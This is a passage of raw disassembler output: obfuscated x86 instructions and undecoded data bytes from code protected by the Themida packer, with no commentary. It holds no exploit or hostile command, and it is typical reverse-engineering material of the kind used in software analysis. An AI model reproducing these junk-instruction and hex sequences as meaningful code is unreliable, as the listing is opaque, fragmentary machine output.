0D947DCAh push dword ptr [esp] jmp loc_55DB5A ; --------------------------------------------------------------------------- db 0B9h, 8Ah, 2Fh dd 0D9F7781Ch, 8103E9C1h, 84E3CF1h, 0AF32E913h, 48BFFFFh dd 50E95624h, 0BE000099h, 65E45371h, 8ECAE9h db 0 ; --------------------------------------------------------------------------- loc_5591CD: ; CODE XREF: Themida_:00556A66j add esp, 4 shr eax, 18h jmp loc_559361 ; --------------------------------------------------------------------------- db 56h dd 702BB951h, 0F7412426h, 45C981D1h, 8175612Bh, 30BBDE9h dd 0E5E98172h, 5160B12Dh, 54243481h, 0E969430Ch, 0E568h dd 0E9242C89h, 0CA2Fh ; --------------------------------------------------------------------------- loc_55920C: ; CODE XREF: Themida_:00559B66j sub esp, 4 mov [esp], ecx mov ecx, 452344C3h inc ecx add ecx, 4EA8794Fh xor ecx, 0CD41F015h xor edx, ecx jmp loc_56356F ; --------------------------------------------------------------------------- dw 0C601h dd 5EF10158h, 7D44E955h, 0F2680000h, 8900007Dh, 2C812404h dd 2A184624h, 24048B57h, 0E9E78957h, 6BACh, 6E2C15Fh, 4E28142h dd 811B4A2Ah, 9607DC2h, 5AD68915h, 0FFFFEE81h, 5146FFFFh dd 0B15E65B9h, 4CE9816Dh, 1215348h, 0D6F759CEh, 8BEF681h dd 0F2018308h, 0E924348Bh, 0B7D3h, 73C968h, 24148900h dd 8A7BA9BAh, 5AD3893Bh, 0A180E9h, 4C48100h, 0E9000000h dd 0E690h ; --------------------------------------------------------------------------- loc_5592B0: ; CODE XREF: Themida_:00555AD1j mov ebp, 3EBD776Fh jmp loc_5621CC ; --------------------------------------------------------------------------- dw 0C483h dd 0F010504h, 0D801111Fh, 1F0F012Dh, 4685B11h, 8900003Dh dd 5051243Ch, 16CDBA52h, 0B5E97CC9h, 55FFFFDAh, 0B424E9h dd 56D02900h, 0C430C1BEh, 8E6C17Ah, 3B52E9h, 0C3834300h dd 976DE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5592FE: ; CODE XREF: Themida_:0055BC80j push 4E1Ch mov [esp], edx jmp loc_5569F0 ; --------------------------------------------------------------------------- db 1 dd 51055FF8h, 0E92D5516h, 0E402h, 0E9243C33h, 0FFFFDBD5h dd 5BD2C181h, 0E9C15E6Ch, 0B0BCE904h, 0C6810000h, 2DA61E98h dd 0F681DEF7h, 4AE87898h, 4602EEC1h, 0C5EBF681h, 0F3016517h dd 5BE95D5Eh db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_55934F: ; CODE XREF: Themida_:0055282Bj pop esp jmp loc_55EA1F ; --------------------------------------------------------------------------- loc_559355: ; CODE XREF: Themida_:0055E955j pop esp add esp, 4 jmp loc_55272A ; --------------------------------------------------------------------------- loc_559361: ; CODE XREF: Themida_:005591D6j xor eax, ecx xor eax, esi xor esi, eax xor eax, esi jmp loc_5669D7 ; --------------------------------------------------------------------------- dw 4BDh dd 1000000h, 0E904246Ch, 0AF74h ; --------------------------------------------------------------------------- loc_55937C: ; CODE XREF: Themida_:00558B14j mov eax, 4 add edx, eax pop eax sub edx, 4 xor edx, [esp] xor [esp], edx jmp loc_55FA61 ; --------------------------------------------------------------------------- dw 26BBh dd 818A29F4h, 6A6C6AC3h, 7DA0E924h, 0B3530000h, 0F0EB8036h dd 21E9DBF6h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5593AF: ; CODE XREF: Themida_:0055DE00j mov eax, [esp] jmp loc_5623C2 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 241CD359h, 91B3E99Ch, 0C8BFFFFh, 4C48324h dd 5033B551h, 0FFE279E9h, 0E38953FFh, 4C381h, 0C3830000h dd 241C8704h, 0E5FAE9h, 4C48100h, 1000000h, 53042444h dd 0D02B1ABBh, 246C8108h, 4B4EE608h, 245C296Bh, 0E6B95108h dd 16B4B4Eh, 590C244Ch, 0FFCE9BE9h, 2434FFFFh, 8124048Bh dd 4C4h, 4C48100h, 83000000h, 0FF5202C2h, 0E9042474h, 0FFFFC937h dd 40EB815Ah, 290E120Eh, 40C381C3h, 810E120Eh, 953ED3C3h dd 5D83680Bh, 2C890000h, 0A27BE924h, 0EB80FFFFh, 0B75351A2h dd 0DCEF8045h, 0C002E7C0h, 0B8E907E7h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55946B: ; CODE XREF: Themida_:005553B9j add cl, bl pop ebx add cl, 7 and al, cl mov ecx, [esp] add esp, 4 push 7E64h mov [esp], ebx push edx push esp pop edx push ecx mov ecx, 4 add edx, ecx mov ecx, [esp] add esp, 4 push ecx mov ecx, 4 jmp loc_5606B0 ; --------------------------------------------------------------------------- dd 15E9C231h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5594A7: ; CODE XREF: Themida_:00560121j pop ebp jmp loc_559D0F ; --------------------------------------------------------------------------- db 0B8h, 96h, 79h dd 0C3316DBCh, 8BDD0158h, 0C483241Ch, 5085E904h, 9A680000h dd 8B5A2560h, 0E956242Ch, 0C267h, 0FF2434FFh, 48B2434h dd 4C48124h, 83000000h, 895304C4h, 0AEBDE9E3h, 0D2B2FFFFh dd 0B4F9E9h, 30BD5500h, 8174DA5Dh, 5E406EEDh, 86E58163h dd 0F76BA775h, 86C581DDh, 0E9012414h, 2D47h ; --------------------------------------------------------------------------- loc_559510: ; CODE XREF: Themida_:00555851j add edx, 164749B4h sub edx, 10AB3BFCh sub edi, edx jmp loc_558297 ; --------------------------------------------------------------------------- db 81h dd 0E5618CEBh, 9BF38163h, 534E2A87h, 0A4E95B5Fh db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559537: ; CODE XREF: Themida_:0055DDA2j add edi, 4 add edi, 4 jmp loc_55D6D7 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8124h, 89000000h, 0E1682434h, 0E900006Bh, 0BF4Eh ; --------------------------------------------------------------------------- loc_55955C: ; CODE XREF: Themida_:00567318j add esi, ecx push ebx mov ebx, 65BA3C3Eh neg ebx jmp loc_5676E1 ; --------------------------------------------------------------------------- loc_55956B: ; CODE XREF: Themida_:00555DE1j mov ebx, [esp] add esp, 4 and eax, esi mov esi, [esp] push 5BCFh mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_56126F ; --------------------------------------------------------------------------- db 80h, 0F5h, 3Bh dd 80BFE580h, 0E580FCCDh, 80DDF606h, 0E5C027EDh, 57F58008h dd 0E959E800h, 7400h, 0FF8FC0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5595B9: ; CODE XREF: Themida_:0055ABB8j pop edi jmp loc_552E07 ; --------------------------------------------------------------------------- db 51h dd 0EB00AAB5h, 5DE95159h, 8900004Dh, 0E0892404h, 405h dd 42D00h, 0FF500000h, 58042474h, 8B24048Fh, 3C892424h dd 0CABEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5595EE: ; CODE XREF: Themida_:00563885j sub dword ptr [esp+8], 0D3D4B27h jmp loc_55326B ; --------------------------------------------------------------------------- db 1 dd 24148BD1h, 269BE9h db 0 ; --------------------------------------------------------------------------- loc_559605: ; CODE XREF: Themida_:005634E0j mov esp, [esp] jmp loc_558BA4 ; --------------------------------------------------------------------------- loc_55960D: ; CODE XREF: Themida_:0055398Bj mov [esp], edi mov edi, 0A565000h jmp loc_552EF8 ; --------------------------------------------------------------------------- dw 0E956h dd 0FFFFF164h, 4BBh, 5BDE0100h, 5604C683h, 42474FFh, 8124348Bh dd 4C4h, 24048F00h, 0E924248Bh, 0FFFFCE52h, 422FE957h dd 0D5BE0000h, 682E2942h, 55Ah, 0B8240489h, 0ACCB5FDAh dd 8158C189h, 5F31BEC1h, 81F12911h, 5F31BEE9h, 24348B11h dd 0FFB82BE9h db 0FFh ; --------------------------------------------------------------------------- loc_559675: ; CODE XREF: Themida_:005608DCj and ecx, edx mov edx, [esp] add esp, 4 push edi mov edi, 395C2A2Dh sub edi, 6217325Fh not edi jmp loc_55C4E0 ; --------------------------------------------------------------------------- dd 29876855h, 9FE951F2h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55969B: ; CODE XREF: Themida_:00567B90j shr esi, 7 xor esi, 1A534F3h mov ecx, esi pop esi add ebx, ecx mov ecx, [esp] jmp loc_559ACC ; --------------------------------------------------------------------------- db 59h, 5Eh, 81h dd 4ECh, 242C8900h, 2BDh, 0A29AE900h, 0C4810000h, 4, 0B34AE9h dd 81E28900h, 4C2h, 49E95700h, 50000046h, 0E9575854h, 0DF55h ; --------------------------------------------------------------------------- loc_5596E8: ; CODE XREF: Themida_:00563A1Cj or edx, eax shl edx, 1 push 3C72h mov [esp], esi mov esi, esp jmp loc_5574C9 ; --------------------------------------------------------------------------- db 21h dd 0A1D2E9C8h, 0C87FFFFh, 24248B24h, 5BE95451h, 53000080h dd 285DE9h, 8E5FE900h, 0C89FFFFh, 0B3535024h, 5BDC888Ch dd 8002ECC0h, 0C4FEB4ECh, 0FCE95053h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559733: ; CODE XREF: Themida_:0055A625j mov edx, ecx pop ecx and edx, 2E5E5FFFh shr edx, 1 jmp loc_556FBD ; --------------------------------------------------------------------------- db 89h dd 8B542434h, 0C4832434h, 4EC8104h, 89000000h, 4B9240Ch dd 81000000h, 0CC7414EEh, 81CE013Eh, 0CC7414C6h, 0BB53593Eh dd 4, 7AB7E9h, 0EC835D00h, 24148904h, 42474FFh, 0E054E95Ah dd 89660000h, 0E9532414h, 74BBh, 0FDE9515Ah db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_559797: ; CODE XREF: Themida_:005535EEj mov ebp, [esp] add esp, 4 add eax, 31384323h push ebx sub esp, 4 jmp loc_557CE7 ; --------------------------------------------------------------------------- loc_5597B1: ; CODE XREF: Themida_:00557D4Bj shl edx, 6 dec edx not edx push edi jmp loc_562CF8 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 609D055Ch, 0D001705Eh, 5E609D2Dh, 54D62D70h, 335A5140h dd 0F4E92404h, 56000033h, 4BEh, 0E9F30100h, 0FFFFC227h dd 0BB6BE954h, 1C8BFFFFh, 4C48124h, 2C000000h, 2434FF96h dd 5D54555Bh, 4BA52h, 36E90000h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55980B: ; CODE XREF: Themida_:005634F1j mov esp, [esp] push 980h mov [esp], esi mov esi, 3BC2654Eh push 642Ch jmp loc_566772 ; --------------------------------------------------------------------------- db 81h, 0EDh, 9 dd 0E9564154h, 0FFFFE20Eh, 6801B151h, 1416h, 0E9240C89h dd 0FFFFAB94h, 2FCEE94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559846: ; CODE XREF: Themida_:005588E5j push edi push eax push 467B5BECh mov eax, [esp] add esp, 4 jmp loc_55913F ; --------------------------------------------------------------------------- loc_559858: ; CODE XREF: Themida_:0056438Dj pop ecx sub eax, 24692D8Fh push ebp push eax mov eax, 71BE138Eh mov ebp, eax pop eax sub eax, ebp pop ebp jmp loc_5639A4 ; --------------------------------------------------------------------------- loc_559870: ; CODE XREF: Themida_:00560B3Cj shr esi, 2 sub esi, 10DC1E75h and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_563047 ; --------------------------------------------------------------------------- dd 24048B66h, 0FFF324E9h, 2A5968FFh, 34890000h, 4EC8324h dd 52242489h, 4BAh, 0A0F6E900h, 6C01FFFFh, 595D0424h, 6C8D68h dd 2C63E900h, 432D0000h, 53164550h, 0C7E6852h, 148B5A52h dd 4EC8124h, 89000000h, 0E389241Ch, 4C381h, 0C3830000h dd 241C8704h, 510EE9h db 0 ; --------------------------------------------------------------------------- loc_5598E9: ; CODE XREF: Themida_:00556E56j pop esi jmp loc_557535 ; --------------------------------------------------------------------------- db 81h dd 0EC887EBh, 0A405E9FBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5598FA: ; CODE XREF: Themida_:00558364j xor eax, 4925C5Ch mov edx, eax jmp loc_55E86E ; --------------------------------------------------------------------------- loc_559906: ; CODE XREF: Themida_:005612F6j add edi, ecx jmp loc_5678E0 ; --------------------------------------------------------------------------- db 81h, 0E9h, 42h dd 2169A2FEh, 240C8BCEh, 0E904C483h, 0A450h ; --------------------------------------------------------------------------- loc_559920: ; CODE XREF: Themida_:0056302Cj popf retn ; --------------------------------------------------------------------------- dw 52E9h dd 83FFFF8Ch, 0FF5004C4h, 0E9042474h, 0FFFFE7A7h, 2FE02D58h dd 0D0292F28h, 282FE005h, 24148B2Fh, 0FFFD7DE9h, 68E289FFh dd 52C2h, 0B39AE9h, 2E6C000h, 69E9CEFEh, 81FFFFC3h, 4C4h dd 0FFD50100h, 148B2434h, 0E314E924h, 0C8BFFFFh, 4C48324h dd 31243433h, 34332434h, 0B7685C24h, 89000074h, 8853240Ch dd 0E9DD88C3h, 0FFFFD172h, 42474FFh, 0BA1BE9h db 0 ; --------------------------------------------------------------------------- loc_55999D: ; CODE XREF: Themida_:00555314j mov edx, [esp] push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_55CE1B ; --------------------------------------------------------------------------- db 81h dd 4E9h, 240C8700h, 240C895Ch, 0BE953B5h, 8BFFFFC1h, 0C481240Ch dd 4, 0FFB25BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5599D9: ; CODE XREF: Themida_:00564BDDj mov edx, 36B54ED6h sub eax, edx pop edx add eax, ebp push ecx mov ecx, 36B54ED6h add eax, ecx pop ecx add eax, 4D997467h pop ebp jmp loc_55D379 ; --------------------------------------------------------------------------- db 0FFh dd 835A2434h, 0C3304C4h, 240C3124h, 40BCE9h db 0 ; --------------------------------------------------------------------------- loc_559A09: ; CODE XREF: Themida_:00564242j add esi, 0F4D809B9h add ebx, esi pop esi jmp loc_55A092 ; --------------------------------------------------------------------------- db 83h dd 2C8904ECh, 0B9EAE924h, 0F781FFFFh, 0B354BF81h, 242C8157h dd 34EA36ADh, 0ADC3815Bh, 5F34EA36h, 0D8E0E9h, 0EC835E00h dd 24148904h, 2BAh, 4CE98100h, 13A7816h, 0A3BA52D1h, 4A136938h dd 626BBF57h, 0E7817870h, 2B654D20h, 0FC5AC781h, 0FA3150DFh dd 8CEA815Fh, 12FB0EEh, 34FF5AD1h, 68555A24h, 1D94h, 81242489h dd 42404h, 815D0000h, 4C5h, 4C58100h, 0E9000000h, 0FFFFEE0Ch ; --------------------------------------------------------------------------- loc_559A9C: ; CODE XREF: Themida_:00556206j add edi, 42DC63DFh add edi, eax sub edi, 42DC63DFh jmp loc_56409A ; --------------------------------------------------------------------------- loc_559AAF: ; CODE XREF: Themida_:0055E66Aj add cl, 76h jmp loc_562126 ; --------------------------------------------------------------------------- db 89h dd 0CE9243Ch, 1000054h, 0A0ED81DDh, 0E92AEA1Ch, 0FFFFB4A6h ; --------------------------------------------------------------------------- loc_559ACC: ; CODE XREF: Themida_:005596ACj add esp, 4 jmp loc_55F37B ; --------------------------------------------------------------------------- dd 2E7370BBh, 5BD9211Dh, 0FFD631E9h, 7EEC1FFh, 3AC6814Eh dd 0E9FF745Dh, 5DA7h ; --------------------------------------------------------------------------- loc_559AF0: ; CODE XREF: Themida_:00562129j sub al, cl push ecx jmp loc_55D5E9 ; --------------------------------------------------------------------------- loc_559AF8: ; CODE XREF: Themida_:00553277j pop esi sub esp, 4 mov [esp], eax mov eax, 28C5807h add dword ptr [esp+8], 792E5E02h sub dword ptr [esp+8], 3BBC1CDBh sub [esp+8], eax push ebp jmp loc_55B6DD ; --------------------------------------------------------------------------- dw 0E781h dd 5FB667CCh, 79C78147h, 8123C71Ch, 0E063CCF7h, 0E9FA2170h dd 0FFFFE5B7h ; --------------------------------------------------------------------------- loc_559B38: ; CODE XREF: Themida_:005660CBj pop esi sub esp, 4 mov [esp], esi mov esi, 4B257C14h sub esi, 7B1E038Fh push edx mov edx, 1764375Dh and edx, 21DB3CADh and edx, 1DA94418h inc edx xor edx, 3321563Dh jmp loc_55920C ; --------------------------------------------------------------------------- aMsA db '¬ιΥ ',0 dd 1CE95300h, 0FF0000D9h, 815F2434h, 4C4h, 8122E900h, 0D3050000h dd 893F28F2h, 0F18158C1h, 29764487h, 0E981D9F7h, 0FFFFFFFFh dd 8307E1C1h, 348904ECh, 901BE924h, 0F281FFFFh, 1A92B53h dd 2DBCB850h, 0E0C129E6h, 0DD0D3502h, 0C209AFAAh, 5EC7E9h dd 0BD555100h, 6B9D2793h, 940CE9h db 0 ; --------------------------------------------------------------------------- loc_559BD1: ; CODE XREF: Themida_:0055F31Bj mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_555DBB ; --------------------------------------------------------------------------- aAEs db 'μEι³',0 db 0 ; --------------------------------------------------------------------------- loc_559BF3: ; CODE XREF: Themida_:0055D359j push dword ptr [esp] mov ecx, [esp] sub esp, 4 jmp loc_55F70A ; --------------------------------------------------------------------------- db 0E9h, 73h, 89h dd 54B2FFFFh, 80ECCA80h, 0B151C4F2h, 80D1F69Eh, 0C1FE67E9h dd 0D0F180h, 0D32859CAh, 0EC81515Ah, 4, 81240489h, 4ECh dd 24148900h, 0E28067B2h, 36F280F3h, 0B15AD088h, 58C1305Bh dd 73A9E9h db 0 ; --------------------------------------------------------------------------- loc_559C49: ; CODE XREF: Themida_:00564E2Ej push esi jmp loc_5573D7 ; --------------------------------------------------------------------------- db 1 dd 4DE981F1h, 5E35F547h, 8B85055h, 0BD64301Ch, 64301C0Ah dd 0C8E9C531h, 58000059h, 104C483h, 4EC83FEh, 0BF243C89h dd 729B17A4h, 4461E9h, 0C8B6600h, 1F1D6824h, 14890000h dd 81E28924h, 4ECh, 240C8900h, 4B9h, 0B4BB5300h, 14FDC11h dd 0D68CE9DAh, 0FF530000h, 0E9042474h, 4495h, 0AD676BBDh dd 5DE9096Ah, 0EAE95250h, 890000C2h, 0E2BD242Ch, 0C129A25Ah dd 0EDC108EDh, 0D0ED8102h, 0E9DA860Fh, 4677h ; --------------------------------------------------------------------------- loc_559CDC: ; CODE XREF: Themida_:0056610Bj mov dl, ah pop eax jmp loc_55C1DB ; --------------------------------------------------------------------------- loc_559CE4: ; CODE XREF: Themida_:005672C4j add esp, 4 add edx, edi add edx, 649A5214h jmp loc_5621DF ; --------------------------------------------------------------------------- db 29h dd 2434FFCBh, 0D73DE9h, 240C8700h, 5FA8685Ch, 50E90000h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559D0F: ; CODE XREF: Themida_:005594A8j push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_55C881 ; --------------------------------------------------------------------------- db 29h, 54h, 24h dd 2C815A04h, 0E2303924h, 2404014Ah, 25DCE9h db 0 ; --------------------------------------------------------------------------- loc_559D3D: ; CODE XREF: Themida_:0055286Aj xor ebp, 8A4525AFh sub edi, ebp pop ebp jmp loc_566236 ; --------------------------------------------------------------------------- db 66h dd 0C9E930FFh, 5D00007Ah, 0ED59E95Dh, 82BEFFFFh, 0F742F04Ah dd 6A73E9DEh, 5E540000h, 4C681h, 0C6830000h, 24348704h dd 66D8285Ch, 2EC8353h, 24048966h, 885268B0h, 5AD388C2h dd 24048B66h, 2802C483h, 1C8B66D8h, 0E0895024h, 0CD99E955h dd 0BD55FFFFh, 61A61CC1h, 1DE9EA01h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559DAB: ; CODE XREF: Themida_:0055314Bj pop ebx push dword ptr [esp] pop edx add esp, 4 push 19F6h mov [esp], esi push dword ptr [esp] pop edi push 4210h mov [esp], ecx push esp pop ecx jmp loc_556825 ; --------------------------------------------------------------------------- loc_559DD1: ; CODE XREF: Themida_:00560812j xor esi, edx xor edx, esi xor esi, edx not edx jmp loc_554AC0 ; --------------------------------------------------------------------------- aSL4SD db ')ι]4$ιΧ€',0 db 0 ; --------------------------------------------------------------------------- loc_559DE9: ; CODE XREF: Themida_:00566CD5j add esp, 4 push eax mov eax, 36926E0h push edi jmp loc_553F5B ; --------------------------------------------------------------------------- loc_559DF8: ; CODE XREF: Themida_:00558DBDj push ebp mov ebp, 66572A4Ch shl ebp, 1 sub ebp, 72C1FDE5h xor edi, ebp pop ebp jmp loc_563920 ; --------------------------------------------------------------------------- dw 0E305h dd 1758A5Ch, 5CE32DD8h, 5B68758Ah, 0E9000015h, 671Fh, 4C381h dd 0EB810000h, 4, 0FFB148E9h, 4C481FFh, 8F000000h, 248B2404h dd 0C8B6624h, 3BB26824h, 4890000h, 0DCE95724h, 66FFFFD1h dd 0B5240C89h, 0EBCEE93Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559E5E: ; CODE XREF: Themida_:005552C9j push small 7A30h mov [esp], bx mov bl, 0B9h or bl, 9Eh jmp loc_564140 ; --------------------------------------------------------------------------- loc_559E70: ; CODE XREF: Themida_:00564542j push esp jmp loc_55706E ; --------------------------------------------------------------------------- loc_559E76: ; CODE XREF: Themida_:00566050j add edx, 45972CBEh sub edx, 603A2F23h sub edx, esi add edx, 603A2F23h sub edx, 45972CBEh mov esi, [esp] add esp, 4 push ebx mov bh, al jmp loc_559056 ; --------------------------------------------------------------------------- dw 3C89h dd 34FF5424h, 0DD2FE924h, 48B0000h, 0FAADE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559EB2: ; CODE XREF: Themida_:0055E3E0j add esi, 4 xchg esi, [esp] pop esp push 5200h mov [esp], edi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax mov eax, 71BD3B79h jmp loc_564377 ; --------------------------------------------------------------------------- db 46h, 0E9h, 0CDh db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559EE7: ; CODE XREF: Themida_:0055D6FDj or eax, 432219CBh sub eax, 760AF744h add ebx, eax jmp loc_55D8F4 ; --------------------------------------------------------------------------- dd 0C181D9F7h, 0B1F457FFh, 8759CA29h, 895C2414h, 46682434h dd 0FF257420h, 0E95E2434h, 0FFFFEC22h ; --------------------------------------------------------------------------- loc_559F18: ; CODE XREF: Themida_:0055FCABj mov esi, 24B6A5CCh sub ecx, esi pop esi or edx, ecx pop ecx jmp loc_556F1D ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFF8649h, 0FF2434FFh, 0C9E92434h db 0B9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559F3B: ; CODE XREF: Themida_:005573E7j push edi push 4 pop edi mov ebp, edi pop edi sub edi, ebp pop ebp xchg edi, [esp] pop esp mov [esp], edx push 99260146h pop edx add eax, 2DD225E8h add eax, edx jmp loc_556ADB ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C1h dd 78995940h, 81FFE983h, 6F4EE7C1h, 0ED68564Fh, 89000053h dd 9268241Ch, 5B004E38h, 242C8153h, 6B221070h, 70C6815Eh dd 5B6B2210h, 0FFEF87E9h db 0FFh ; --------------------------------------------------------------------------- loc_559F95: ; CODE XREF: Themida_:005675CDj push edx mov dl, 59h jmp loc_565EA4 ; --------------------------------------------------------------------------- db 31h, 0F8h, 5Fh dd 9D0DD8F7h, 0D0B3F50h, 592C6C90h, 0F8F68005h db 56h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_55FFF1 ; --------------------------------------------------------------------------- dw 6858h dd 75FBh, 0B9240C89h, 40642088h, 8101E983h, 392037C1h dd 46C18166h, 505962BFh, 405E089h, 2D000000h, 4, 5C240487h dd 4450E9h, 9BC28100h, 29389431h, 8D91E9EAh, 3C890000h dd 0BEC1E924h, 0C89FFFFh, 0B3DEE924h, 0E2C10000h, 2E2C102h dd 1E26857h, 0E95F1176h, 76A6h, 0EBE5815Bh, 813CEA08h dd 0D7261FF5h, 55B3E928h, 14890000h, 2C34BA24h, 0F752751Dh dd 425A2414h, 0D3C8F281h, 93E98AE2h, 8BFFFFD8h, 8B662424h dd 0B6682404h, 89000026h, 0E0892404h, 4EC8351h, 0BD242C89h dd 4, 0FFD6F8E9h, 0ECB951FFh, 5664B338h, 0D97AE9h, 2414F700h dd 1C879358h, 24048B24h, 3DE8E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A092: ; CODE XREF: Themida_:00559A12j add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_563031 ; --------------------------------------------------------------------------- db 81h dd 9B4EA5F3h, 8B59E9B2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A0AE: ; CODE XREF: Themida_:0056718Fj mov [esp], esi push ebx mov ebx, 5DBA1F92h xor ebx, 144388h jmp loc_55E521 ; --------------------------------------------------------------------------- dw 0D101h dd 0FFA5B8E9h, 17C781FFh, 8160A305h, 0F37633EFh, 1EE94F05h dd 0BA0000B6h, 4, 555AD701h, 0B2AE9h, 8B666400h, 3832E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A0F2: ; CODE XREF: Themida_:0055A275j mov [esp], ebp mov ebp, esp push ecx mov ecx, 6031634Dh neg ecx or ecx, 542E14EDh add ecx, 20116305h add ebp, ecx jmp loc_55E94E ; --------------------------------------------------------------------------- dw 0C329h dd 6CA1EB81h, 81586FF9h, 4064EC3h, 8BB85066h, 0E9235C15h dd 4111h, 1EE9E681h, 0EED138CAh, 61EE8146h, 1046505h, 0C5815EF5h dd 4, 5C242C87h, 0FF842CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A14D: ; CODE XREF: Themida_:00567A7Ej mov [esp], edi mov edi, ebx push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push ebp jmp loc_561969 ; --------------------------------------------------------------------------- dw 0B252h dd 80C2FE97h, 0D2F6EEF2h, 8084EA80h, 2EE9D5EBh db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A183: ; CODE XREF: Themida_:00554B2Fj mov esp, [esp] push ebp mov ebp, 179031F2h add ebx, ebp jmp loc_55AE15 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28100h, 87000000h, 0C15C2414h, 0E95508E0h, 9B08h ; --------------------------------------------------------------------------- loc_55A1AC: ; CODE XREF: Themida_:005631DAj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55CFB9 ; --------------------------------------------------------------------------- dd 0EE3E3F35h, 8BC78991h, 0C4832404h, 57EB8104h, 0E93FA63Ch dd 5106h, 8005EAC0h, 0D000BAF2h, 0D8285A5Ah, 0EC81602Ch dd 4, 0B2241489h, 58466832h, 0C890000h, 0B2B524h, 2434FFE8h dd 4C48359h, 5604AD04h, 562CD028h, 0FFEC00E9h, 0BD6655FFh dd 31E93CF9h, 5800002Dh, 0FE16E580h, 69F580CDh, 0E906E5C0h dd 0DA4Fh, 4C281h, 14870000h, 59585C24h, 525BF830h, 0CE803DB6h dd 0D605E932h, 0E95A0000h, 0FFFFDC76h, 835BDF89h, 0D7F7FFEFh dd 4EC81h, 0C890000h, 16824h, 1590000h, 0C0CEE9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A26A: ; CODE XREF: Themida_:00565269j push dword ptr [esp] mov edx, [esp] push 5A4Fh jmp loc_55A0F2 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 0FFE3DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A285: ; CODE XREF: Themida_:00565463j push ebx mov bl, 10h xor bl, 27h jmp loc_554250 ; --------------------------------------------------------------------------- aI4Whgw3_sxk db '4$Whgw±3_ιxͺ',0 db 0 ; --------------------------------------------------------------------------- loc_55A29F: ; CODE XREF: Themida_:0055D874j push esi jmp loc_55A4E6 ; --------------------------------------------------------------------------- loc_55A2A5: ; CODE XREF: Themida_:0055D53Dj add ebx, 50385270h pop eax mov ecx, 4662231Fh xor ecx, ebx mov ebx, [esp] add esp, 4 sub eax, 4B8E5A56h sub eax, 778A3A72h add eax, ecx add eax, 778A3A72h jmp loc_554DEC ; --------------------------------------------------------------------------- loc_55A2D2: ; CODE XREF: Themida_:0055C4E1j xor edi, 0D0ACACFDh add ecx, edi pop edi sub ebx, ecx jmp loc_553148 ; --------------------------------------------------------------------------- loc_55A2E2: ; CODE XREF: Themida_:0055F6D1j push ebp mov ebp, 0BD87D59h jmp loc_553393 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0F6h dd 57A35C57h, 0DE9F089h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A2FB: ; CODE XREF: Themida_:00566A4Ej add ecx, 5A1B06A8h add ecx, ebp push ebx mov ebx, 4B633025h sub ebx, 3BDC0E33h sub ebx, 43BE4C7Ah shl ebx, 6 dec ebx jmp loc_553F06 ; --------------------------------------------------------------------------- aXhmi db 'XhMi',0 align 4 aIS@ db ',$ιΉ@',0 align 4 dd 7E0C140h, 1361E9h, 0D831AD00h, 0FFBA20E9h, 0A4968FFh dd 73680000h, 83000043h, 248904ECh, 155D6824h, 14890000h dd 4BA24h, 54010000h, 8F5A0424h, 23E92404h db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A367: ; CODE XREF: Themida_:0055FABCj sub esp, 4 mov [esp], ebx mov bh, 4Ch add bh, 1 or bh, 0Dh not bh xor bh, 5Fh sub ch, bh pop ebx sub bl, 0B6h sub bl, ch add bl, 0B6h jmp loc_558D52 ; --------------------------------------------------------------------------- dw 0EBEh dd 46788725h, 10A1CE81h, 0EE8146EDh, 7EEF35ABh, 9AE9F101h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A3A3: ; CODE XREF: Themida_:0055F00Fj pop edi push edi mov edi, 245F4708h not edi jmp loc_555DCA ; 